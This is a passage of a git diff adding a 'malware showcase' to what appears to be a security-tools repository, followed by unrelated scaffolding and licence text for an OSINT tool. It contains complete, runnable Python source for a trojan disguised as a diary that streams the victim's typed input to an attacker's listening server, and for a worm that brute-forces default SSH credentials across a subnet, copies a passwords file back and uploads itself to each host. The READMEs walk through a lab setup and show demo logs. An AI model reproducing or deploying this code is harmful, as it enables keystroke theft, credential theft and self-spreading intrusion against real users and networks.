+ The communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-). <br>
+ ```python
+ self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ ```
+
+- Then we must initialize the server by binding it to the specified port.
+ ```python
+ server.initialize()
+ ```
+- The most important part is the connection with the victim. This is implemented in the function _collect_data_ provided by the **server**. It waits for the connection initiated by the **trojan** after its execution on the victim's system. After that it just constantly checks whether the client has sent any data. If so, they are logged into the console so that the attacker can see them. If the sent data are "empty", the client has closed the connection.
+ ```python
+ while True:
+ data = connection.recv(1024)
+ if not data:
+ break
+ logging.debug(data)
+ ```
+
+##### Trojan (client)
+
+- Firstly, we must create our **trojan**. The service requires a name of the host (server) and the
+ specified port for the communication. Host named `localhost` means that the server is listening on the same
+ system as our client.
+ ```python
+ trojan = Trojan('localhost', 27000)
+ ```
+- Now we try to connect to the server. This connection should remain hidden to the victim. The logging
+ message is presented just so we can spot any errors in our example.
+ ```python
+ try:
+ self.socket.connect((self.host, self.port))
+ except socket.error:
+ logging.debug('Trojan could not connect to the server.')
+ return
+ ```
+
+ - Then the **trojan** tries to act like a harmless program by greeting the victim.
+ ```python
+ print('Hello, this is your diary. You can type your notes here:')
+ ```
+- As the victim types his or her notes into the diary (`stdin`), each line is sent to the **attacker's server**. We expect the data to be encoded as **UTF-8** and because the communication interface expects _binary_ data, we must transform the obtained _strings_ into _bytes_.
+ ```python
+ while True:
+ character = sys.stdin.read(1)
+ self.socket.send(bytes(character, 'utf-8'))
+ ```
diff --git a/Malwares/malware_showcase/trojan/server.py b/Malwares/malware_showcase/trojan/server.py
new file mode 100755
index 0000000..de69181
--- /dev/null
+++ b/Malwares/malware_showcase/trojan/server.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python3
+
+""" Implementation of the server that collects data sent by trojan.
+"""
+
+import logging
+import socket
+
+
+class Server:
+ """ This class represents a server of the attacker that
+ collects data from the victim.
+ """
+
+ def __init__(self, port):
+ self._port = port
+ # Initialize the socket for connection.
+ self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ @property
+ def port(self):
+ """ Port, on which the server runs (`int`). """
+ return self._port
+
+ @port.setter
+ def port(self, new_port):
+ self._port = new_port
+
+ @property
+ def socket(self):
+ """ Server socket. """
+ return self._socket
+
+ def initialize(self):
+ """ Initialize server before session. """
+ try:
+ self.socket.bind(('localhost', self._port))
+ self.socket.listen()
+ logging.debug('Server was successfully initialized.')
+ except socket.error:
+ print('Server was not initialized due to an error.')
+
+ def collect_data(self):
+ """ Collect data from client trojan application. """
+ # Establish a connection with the victim.
+ connection, address = self.socket.accept()
+ with connection:
+ print('Connection with trojan established from {}'.format(address))
+
+ # Receive data sent by trojan diary.
+ while True:
+ data = connection.recv(1024)
+ if not data:
+ break
+ logging.info(data)
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Create and initialize a server running on attacker's side.
+ server = Server(27000)
+ server.initialize()
+ # Collect the data sent by trojan that was executed on victim's side.
+ server.collect_data()
diff --git a/Malwares/malware_showcase/trojan/trojan.py b/Malwares/malware_showcase/trojan/trojan.py
new file mode 100755
index 0000000..e810c2d
--- /dev/null
+++ b/Malwares/malware_showcase/trojan/trojan.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python3
+
+""" Implementation of trojan that collects data and sends them to server.
+ It acts like an ordinary diary.
+"""
+
+import logging
+import socket
+import sys
+
+
+class Trojan:
+ """ This class represents the implementation of trojan disguised
+ as diary.
+ """
+
+ def __init__(self, host, port):
+ self._host = host
+ self._port = port
+ # Initialize socket for the connection.
+ self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ @property
+ def host(self):
+ """ Server that collects obtained data. """
+ return self._host
+
+ @host.setter
+ def host(self, new_host):
+ self._host = new_host
+
+ @property
+ def port(self):
+ """ Port, on which the server runs (`int`). """
+ return self._port
+
+ @port.setter
+ def port(self, new_port):
+ self._port = new_port
+
+ @property
+ def socket(self):
+ """ Client socket. """
+ return self._socket
+
+ def collect_data(self):
+ """ Secretly collect data and send them to server. """
+ # Create a connection to the server.
+ try:
+ self.socket.connect((self.host, self.port))
+ except socket.error:
+ logging.debug('Trojan could not connect to the server.')
+ return
+
+ # Try to act as an ordinary diary.
+ print('Hello, this is your diary. You can type here your notes: ')
+
+ # Read notes written by the victim and send them to the server.
+ while True:
+ character = sys.stdin.read(1)
+ self.socket.send(bytes(character, 'utf-8'))
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Initialize trojan application that acts like an diary.
+ trojan = Trojan('localhost', 27000)
+ # Collect the data and send them to the server running
+ # on the attacket's side.
+ trojan.collect_data()
diff --git a/Malwares/malware_showcase/worm/README.md b/Malwares/malware_showcase/worm/README.md
new file mode 100644
index 0000000..2a8dfac
--- /dev/null
+++ b/Malwares/malware_showcase/worm/README.md
@@ -0,0 +1,88 @@
+# Worm
+
+Our **worm** is implemented in the file `worm.py`. It tries to spread over the selected network via **SSH** connection and copy itself on the remote host. If the victim has a file **passwords.txt** in the home directory, it will obtain the file and send it back to the system of the attacker.
+
+#### Demonstration of behavior
+
+A valid infrastructure needs to be setup for this example. We need at least two hosts on the same network. To do this, it is recommended to setup two **virtual machines**, one for the attacker and one for the victim. To learn more about virtual machines, see [the guide to virtual machines](https://www.lifewire.com/virtual-machine-4147598). A free and popular virtualization tool is [Oracle VM VirtualBox](https://www.virtualbox.org/). For the system of the victim use [Metasploitable2](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/) (a simple Linux VM often used for demostration of security vulnerabilities). Once you create both VMs, to connect them to the same network in VirtualBox go to _Setting->Network->AdapterN->Attached to_ and select Internal network. This must be done for both VMs.
+
+Now run both systems and log in. The default credentials on the **Metasploitable2** are
+```
+user: msfadmin
+pass: msfadmin
+```
+Make sure that you have this repo cloned on the system of the attacker. The last thing we have to do is to assign valid **IP addresses** to both machines. This can be done with the following command:
+```
+ip addr add [IP addr]/24 dev [Interface]
+```
+Assign **198.168.0.3** to the victim and **168.168.0.2** to the attacker. To make sure you have done everything correctly, make the systems ping each other.
+```
+Victim: ping 198.168.0.2
+Attacker: ping 198.168.0.3
+```
+If you can see the response, everything is fine and we can proceed to the actual demonstration.
+
+Make a simple file on the victim's system containing something like the following text and name it **passwords.txt**. This represents private file of the user on the vulnerable system.
+```
+My social media credentials
+---------------------------
+user: user
+pass: mysecurepassword
+```
+
+Finally, we can execute our worm on the system of the attacker (`./worm.py`). This worm will try to access each host on the network and log in via **SSH**. To learn more about **SSH** see [the guide to SSH](https://medium.com/@Magical_Mudit/understanding-ssh-workflow-66a0e8d4bf65). If it succeeds, it copies itself on the vulnerable system and steals the file **passwords.txt** if the user has one. If everything was done correctly, you should see the following log of the worm. It has tried to log in to hosts **198.168.0.1** and **198.168.0.2** with various credentials and failed. But it has successfully connected to **2 users** on the system **198.168.0.3** and stole the password file from one of them. You should see this file in the same directory on the system of the attacker.
+
+```
+DEBUG:root:Trying to spread on the remote host: 198.168.0.1
+DEBUG:root:The remote host refused connection with credentials user,user.
+DEBUG:root:The remote host refused connection with credentials root,root.
+DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin.
+
+DEBUG:root:Trying to spread on the remote host: 198.168.0.2
+DEBUG:root:The remote host refused connection with credentials user,user.
+DEBUG:root:The remote host refused connection with credentials root,root.
+DEBUG:root:The remote host refused connection with credentials msfadmin,msfadmin.
+
+DEBUG:root:Trying to spread on the remote host: 198.168.0.3
+DEBUG:root:The worm is succesfully connected to the remote host [user, user].
+DEBUG:root:The victim did not have passwords.txt
+DEBUG:root:The remote host refused connection with credentials user,user.
+DEBUG:root:The remote host refused connection with credentials root,root.
+DEBUG:root:The worm is succesfully connected to the remote host [msfadmin, msfadmin].
+DEBUG:root:The victim had passwords.txt
+...
+```
+
+The creation of **worm** itself is very simple process as it is described below and anyone can do it just with a basic knowledge of programming and understandment of networking. That's why we should keep our systems updated, secured and credentials strong.
+
+#### How does it work?
+
+- Firstly, we create our **worm** and pass it a **network address** representing the network, on which it should spread.
+ ```python
+ worm = Worm('198.168.0.0')
+ ```
+- Then we call function _spread_via_ssh_, which tries to connect to each host on the network, establish an **SSH** connection and spread itself (while stealing the password file).
+ ```python
+ worm.spread_via_ssh()
+ ```
+- At the beginning, this method creates an **SSHClient** from _paramiko_ module that would help us to create the connection.
+ ```python
+ ssh = paramiko.SSHClient()
+ ssh.get_missing_host_key_policy(paramiko.AutoAddPolicy())
+ ```
+- Then it iterates over all host addresses on the network (implemented as generator _generate_addresses_on_network_). The worm contains property _credentials_, which represents combinations of usernames and passwords that the worm is willing to try. That means that it will try to login via **SSH** 3 times on each host. **SSH** uses port 22.
+ ```python
+ for remote_address in self.generate_addresses_on_network():
+ for user, passw in self.credentials:
+ try:
+ ssh.connect(remote_address, port=22, username=user, password=passw)
+ ...
+ ```
+- If the connection fails, it is captured as an exception and the worm continues with another user or host. However, if the connection is established (as in the case of **198.162.0.3**), we can create an **SCP client** that will transmit our files. To learn more about **SCP**, see [the guide to SCP](https://en.wikipedia.org/wiki/Secure_copy).
+ ```
+ scp_client = scp.SCPClient(ssh.get_transport())
+- Now we can execute file transmition commands. One will obtain the password file and the second one will send the worm to the remote host. A name of the file is obtained from the system arguments.
+ ```python
+ scp_client.get('password.txt')
+ scp_client.put(sys.argv[0])
+ ```
diff --git a/Malwares/malware_showcase/worm/worm.py b/Malwares/malware_showcase/worm/worm.py
new file mode 100755
index 0000000..8ed2577
--- /dev/null
+++ b/Malwares/malware_showcase/worm/worm.py
@@ -0,0 +1,98 @@
+#!/usr/bin/env python3
+
+""" Implementation of simple worm that spreads via SSH connection.
+"""
+
+import logging
+import paramiko
+import scp
+import sys
+
+
+class Worm:
+ """ This class represents implementation of worm that spreads via SSH
+ connections.
+ """
+
+ def __init__(self, network_address):
+ self._network = network_address
+
+ @property
+ def network(self):
+ """ Network, on which the worm spreads. """
+ return self._network
+
+ @network.setter
+ def network(self, new_network):
+ self._network = new_network
+
+ @property
+ def credentials(self):
+ """ Possible SSH credentials of the victim. """
+ return (
+ ('user', 'user'),
+ ('root', 'root'),
+ ('msfadmin', 'msfadmin')
+ )
+
+ def generate_addresses_on_network(self):
+ """ Generate addresses of hosts on the given network.
+ For simplicity is expected the following mask:
+ 255.255.255.0
+ """
+ network = self.network.split('.')
+ for host in range(1, 256):
+ network[-1] = str(host)
+ yield '.'.join(network)
+
+ def spread_via_ssh(self):
+ """ Spread the worm on the network via SSH connections.
+ To establish SSH connection try selected user-password
+ combinations. When the connection is established, copy
+ the worm to the remote host.
+ """
+ # Setup SSH client.
+ ssh = paramiko.SSHClient()
+ ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+
+ for remote_address in self.generate_addresses_on_network():
+ logging.debug('Trying to spread on the remote host: {}'.format(remote_address))
+ print()
+
+ for user, passw in self.credentials:
+ try:
+ ssh.connect(remote_address, port=22, username=user, password=passw, timeout=10)
+ logging.debug('The worm is succesfully connected to the remote host [{}, {}].'.format(user, passw))
+
+ # Create SCP client for file transmission.
+ with scp.SCPClient(ssh.get_transport()) as scp_client:
+ # Obtain file with victim's passwords.
+ try:
+ scp_client.get('passwords.txt')
+ logging.debug('The victim had passwords.txt')
+ except Exception:
+ logging.debug('The victim did not have passwords.txt')
+
+ # Upload worm to the remote host.
+ try:
+ scp_client.put(sys.argv[0])
+ logging.debug('The worm has been uploaded to victim')
+ except Exception:
+ logging.debug('The worm could not be uploaded to victim')
+
+ print()
+ except Exception:
+ logging.debug('The remote host refused connection with credentials {},{}.'.format(user, passw))
+ print()
+
+ ssh.close()
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+ # Disable basic logging of paramiko to make log easier to read.
+ logging.getLogger('paramiko').setLevel(logging.CRITICAL)
+
+ # Initialize worm with the network address.
+ worm = Worm('198.168.0.0')
+ # Spread via SSH connection on the network.
+ worm.spread_via_ssh()
diff --git a/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/bug_report.md b/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/bug_report.md
new file mode 100644
index 0000000..dd84ea7
--- /dev/null
+++ b/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/bug_report.md
@@ -0,0 +1,38 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+1. Go to '...'
+2. Click on '....'
+3. Scroll down to '....'
+4. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**Desktop (please complete the following information):**
+ - OS: [e.g. iOS]
+ - Browser [e.g. chrome, safari]
+ - Version [e.g. 22]
+
+**Smartphone (please complete the following information):**
+ - Device: [e.g. iPhone6]
+ - OS: [e.g. iOS8.1]
+ - Browser [e.g. stock browser, safari]
+ - Version [e.g. 22]
+
+**Additional context**
+Add any other context about the problem here.
diff --git a/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/custom.md b/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/custom.md
new file mode 100644
index 0000000..48d5f81
--- /dev/null
+++ b/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/custom.md
@@ -0,0 +1,10 @@
+---
+name: Custom issue template
+about: Describe this issue template's purpose here.
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+
diff --git a/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/feature_request.md b/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/feature_request.md
new file mode 100644
index 0000000..bbcbbe7
--- /dev/null
+++ b/Python Tools/OSINT tool/.github/ISSUE_TEMPLATE/feature_request.md
@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: ''
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.
diff --git a/Python Tools/OSINT tool/.github/workflows/easyRun.yml b/Python Tools/OSINT tool/.github/workflows/easyRun.yml
new file mode 100644
index 0000000..7f869c4
--- /dev/null
+++ b/Python Tools/OSINT tool/.github/workflows/easyRun.yml
@@ -0,0 +1,38 @@
+
+name: Daprofiler Easy run
+
+on:
+ workflow_dispatch:
+ inputs:
+ name:
+ runners:
+ description: 'nom'
+ required: true
+ default: 'marie'
+ lastname:
+ runners:
+ description: 'prenom'
+ required: true
+ default: 'lacourt'
+
+permissions:
+ contents: read
+
+jobs:
+ build:
+
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v3
+ - name: Set up Python 3.10
+ uses: actions/setup-python@v3
+ with:
+ python-version: "3.10"
+ - name: Install dependencies
+ run: |
+ python -m pip install --upgrade pip
+ if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
+ - name: Test code simple args
+ run: |
+ python profiler.py -n ${{ github.event.inputs.name }} -ln ${{ github.event.inputs.lastname }}
diff --git a/Python Tools/OSINT tool/.github/workflows/testCode.yml b/Python Tools/OSINT tool/.github/workflows/testCode.yml
new file mode 100644
index 0000000..2a268e9
--- /dev/null
+++ b/Python Tools/OSINT tool/.github/workflows/testCode.yml
@@ -0,0 +1,31 @@
+
+name: Daprofiler test
+
+on:
+ push:
+ branches: [ "main" ]
+
+permissions:
+ contents: read
+
+jobs:
+ build:
+
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/checkout@v3
+ - name: Set up Python 3.10
+ uses: actions/setup-python@v3
+ with:
+ python-version: "3.10"
+ - name: Install dependencies
+ run: |
+ python -m pip install --upgrade pip
+ if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
+ - name: Test code simple args
+ run: |
+ python profiler.py -n marie -ln lacourt
+ - name: Test code JSON mode
+ run: |
+ python profiler.py -n marie -ln lacourt --json true
diff --git a/Python Tools/OSINT tool/.gitignore b/Python Tools/OSINT tool/.gitignore
new file mode 100644
index 0000000..fa180d9
--- /dev/null
+++ b/Python Tools/OSINT tool/.gitignore
@@ -0,0 +1,9 @@
+hub/__pycache__/*
+modules/__pycache__/*
+modules/visual/__pycache__/*
+modules/api_modules/__pycache__/*
+Reports/*
+hub_reports/*
+
+!user/exemple.txt
+!hub_reports/.notEmpty
\ No newline at end of file
diff --git a/Python Tools/OSINT tool/CODE_OF_CONDUCT.md b/Python Tools/OSINT tool/CODE_OF_CONDUCT.md
new file mode 100644
index 0000000..744653c
--- /dev/null
+++ b/Python Tools/OSINT tool/CODE_OF_CONDUCT.md
@@ -0,0 +1,128 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+We as members, contributors, and leaders pledge to make participation in our
+community a harassment-free experience for everyone, regardless of age, body
+size, visible or invisible disability, ethnicity, sex characteristics, gender
+identity and expression, level of experience, education, socio-economic status,
+nationality, personal appearance, race, religion, or sexual identity
+and orientation.
+
+We pledge to act and interact in ways that contribute to an open, welcoming,
+diverse, inclusive, and healthy community.
+
+## Our Standards
+
+Examples of behavior that contributes to a positive environment for our
+community include:
+
+* Demonstrating empathy and kindness toward other people
+* Being respectful of differing opinions, viewpoints, and experiences
+* Giving and gracefully accepting constructive feedback
+* Accepting responsibility and apologizing to those affected by our mistakes,
+ and learning from the experience
+* Focusing on what is best not just for us as individuals, but for the
+ overall community
+
+Examples of unacceptable behavior include:
+
+* The use of sexualized language or imagery, and sexual attention or
+ advances of any kind
+* Trolling, insulting or derogatory comments, and personal or political attacks
+* Public or private harassment
+* Publishing others' private information, such as a physical or email
+ address, without their explicit permission
+* Other conduct which could reasonably be considered inappropriate in a
+ professional setting
+
+## Enforcement Responsibilities
+
+Community leaders are responsible for clarifying and enforcing our standards of
+acceptable behavior and will take appropriate and fair corrective action in
+response to any behavior that they deem inappropriate, threatening, offensive,
+or harmful.
+
+Community leaders have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are
+not aligned to this Code of Conduct, and will communicate reasons for moderation
+decisions when appropriate.
+
+## Scope
+
+This Code of Conduct applies within all community spaces, and also applies when
+an individual is officially representing the community in public spaces.
+Examples of representing our community include using an official e-mail address,
+posting via an official social media account, or acting as an appointed
+representative at an online or offline event.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be
+reported to the community leaders responsible for enforcement at
+All complaints will be reviewed and investigated promptly and fairly.
+
+All community leaders are obligated to respect the privacy and security of the
+reporter of any incident.
+
+## Enforcement Guidelines
+
+Community leaders will follow these Community Impact Guidelines in determining
+the consequences for any action they deem in violation of this Code of Conduct:
+
+### 1. Correction
+
+**Community Impact**: Use of inappropriate language or other behavior deemed
+unprofessional or unwelcome in the community.
+
+**Consequence**: A private, written warning from community leaders, providing
+clarity around the nature of the violation and an explanation of why the
+behavior was inappropriate. A public apology may be requested.
+
+### 2. Warning
+
+**Community Impact**: A violation through a single incident or series
+of actions.
+
+**Consequence**: A warning with consequences for continued behavior. No
+interaction with the people involved, including unsolicited interaction with
+those enforcing the Code of Conduct, for a specified period of time. This
+includes avoiding interactions in community spaces as well as external channels
+like social media. Violating these terms may lead to a temporary or
+permanent ban.
+
+### 3. Temporary Ban
+
+**Community Impact**: A serious violation of community standards, including
+sustained inappropriate behavior.
+
+**Consequence**: A temporary ban from any sort of interaction or public
+communication with the community for a specified period of time. No public or
+private interaction with the people involved, including unsolicited interaction
+with those enforcing the Code of Conduct, is allowed during this period.
+Violating these terms may lead to a permanent ban.
+
+### 4. Permanent Ban
+
+**Community Impact**: Demonstrating a pattern of violation of community
+standards, including sustained inappropriate behavior, harassment of an
+individual, or aggression toward or disparagement of classes of individuals.
+
+**Consequence**: A permanent ban from any sort of public interaction within
+the community.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant][homepage],
+version 2.0, available at
+https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
+
+Community Impact Guidelines were inspired by [Mozilla's code of conduct
+enforcement ladder](https://github.com/mozilla/diversity).
+
+[homepage]: https://www.contributor-covenant.org
+
+For answers to common questions about this code of conduct, see the FAQ at
+https://www.contributor-covenant.org/faq. Translations are available at
+https://www.contributor-covenant.org/translations.
diff --git a/Python Tools/OSINT tool/CONTRIBUTING.md b/Python Tools/OSINT tool/CONTRIBUTING.md
new file mode 100644
index 0000000..ee9683a
--- /dev/null
+++ b/Python Tools/OSINT tool/CONTRIBUTING.md
@@ -0,0 +1 @@
+No contribution allow before Daprofiler v2
diff --git a/Python Tools/OSINT tool/LICENSE b/Python Tools/OSINT tool/LICENSE
new file mode 100644
index 0000000..f288702
--- /dev/null
+++ b/Python Tools/OSINT tool/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
